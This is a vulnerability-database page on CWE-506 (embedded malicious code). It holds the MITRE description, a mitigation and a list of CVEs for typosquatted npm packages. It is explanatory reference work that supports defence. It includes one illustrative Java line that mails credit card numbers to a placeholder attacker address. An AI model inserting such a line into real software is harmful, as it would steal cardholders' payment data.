Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1336 CNY

100%

CWE-506 (内嵌的恶意代码) — Vulnerability Class 97

97 vulnerabilities classified as CWE-506 (内嵌的恶意代码). AI Chinese analysis included.

CWE-506 represents a critical integrity weakness where software contains intentionally embedded malicious code, often disguised as legitimate functionality. This flaw typically manifests as Trojan horses, trapdoors, or logic bombs, allowing developers or insiders to subvert system security at a predetermined time or under specific conditions. Exploitation occurs when the hidden code executes, granting unauthorized access, stealing data, or disrupting operations while the primary application appears to function normally. To mitigate this risk, organizations must enforce strict code review processes and utilize automated static analysis tools to detect suspicious patterns. Additionally, implementing robust access controls and maintaining transparent development practices ensure that no hidden backdoors remain in the final product, thereby preserving trust and preventing insider threats from compromising system integrity.

MITRE CWE Description
The product contains code that appears to be malicious in nature. Malicious flaws have acquired colorful names, including Trojan horse, trapdoor, timebomb, and logic-bomb. A developer might insert malicious code with the intent to subvert the security of a product or its host system at some time in the future. It generally refers to a program that performs a useful service but exploits rights of the program's user in a way the user does not intend.
Common Consequences (1)
Confidentiality, Integrity, Availability Execute Unauthorized Code or Commands
Mitigations (1)
Implementation, Operation Remove the malicious code and start an effort to ensure that no more malicious code exists. This may require a detailed review of all code, as it is possible to hide a serious attack in only one or two lines of code. These lines may be located almost anywhere in an application and may have been intentionally obfuscated by the attacker.
Examples (1)
In the example below, a malicous developer has injected code to send credit card numbers to the developer's own email address.
boolean authorizeCard(String ccn) { // Authorize credit card. ... mailCardNumber(ccn, "evil_developer@evil_domain.com"); }
Bad · Java
CVE ID Title CVSS Severity Published
CVE-2017-16065 openssl.js 安全漏洞 — openssl.js node module 7.5 - 2018-06-07
CVE-2017-16064 node-openssl 安全漏洞 — node-openssl node module 7.5 - 2018-06-07
CVE-2017-16063 node-opensl 安全漏洞 — node-opensl node module 7.5 - 2018-06-07
CVE-2017-16060 babelcli 安全漏洞 — babelcli node module 7.5 - 2018-06-07
CVE-2017-16059 mssql-node 安全漏洞 — mssql-node node module 7.5 - 2018-06-07
CVE-2017-16058 gruntcli 安全漏洞 — gruntcli node module 7.5 - 2018-06-07
CVE-2017-16057 nodemssql 安全漏洞 — nodemssql node module 7.5 - 2018-06-07
CVE-2017-16056 mssql.js 安全漏洞 — mssql.js node module 7.5 - 2018-06-07
CVE-2017-16074 crossenv 安全漏洞 — crossenv node module 7.5 - 2018-06-07
CVE-2017-16207 discordi.js 安全漏洞 — discordi.js node module 7.3 - 2018-06-07
CVE-2017-16205 coffescript模块安全漏洞 — coffeescript node module 7.5 - 2018-06-07
CVE-2017-16204 jquey模块安全漏洞 — jquey node module 7.5 - 2018-06-07
CVE-2017-16203 coffe-script模块安全漏洞 — coffeescript node module 7.5 - 2018-06-07
CVE-2017-16202 cofeescript模块安全漏洞 — coffeescript node module 7.5 - 2018-06-07
CVE-2017-16128 npm-script-demo 安全漏洞 — npm-script-demo node module 9.8 - 2018-06-07
CVE-2017-16081 cross-env.js 安全漏洞 — cross-env.js node module 7.5 - 2018-06-07
CVE-2017-16079 smb 安全漏洞 — smb node module 7.5 - 2018-06-07
CVE-2017-16078 shadowsock 安全漏洞 — shadowsock node module 7.5 - 2018-06-07
CVE-2017-16080 nodesass 安全漏洞 — nodesass node module 7.5 - 2018-06-07
CVE-2017-16077 mongose 安全漏洞 — mongose node module 7.5 - 2018-06-07
CVE-2017-16076 proxy.js 安全漏洞 — proxy.js node module 7.5 - 2018-06-07
CVE-2017-16075 http-proxy.js 安全漏洞 — http-proxy.js node module 7.5 - 2018-06-07
CVE-2017-16073 noderequest 安全漏洞 — noderequest node module 7.5 - 2018-06-07
CVE-2017-16045 jquery.js 安全漏洞 — jquery.js node module 7.5 - 2018-06-04
CVE-2017-16046 MariaDB 信息泄露漏洞 — mariadb node module 7.5 - 2018-06-04
CVE-2017-16048 node-sqlite 安全漏洞 — node-sqlite node module 7.5 - 2018-06-04
CVE-2017-16049 nodesqlite 安全漏洞 — nodesqlite node module 7.5 - 2018-06-04
CVE-2017-16050 sqlite.js 安全漏洞 — sqlite.js node module 7.5 - 2018-06-04
CVE-2017-16051 sqliter 安全漏洞 — sqliter node module 7.5 - 2018-06-04
CVE-2017-16052 node-fabric 安全漏洞 — node-fabric node module 7.5 - 2018-06-04

Vulnerabilities classified as CWE-506 (内嵌的恶意代码) represent 97 CVEs. The CWE taxonomy describes the weakness; review individual CVEs for product-specific impact.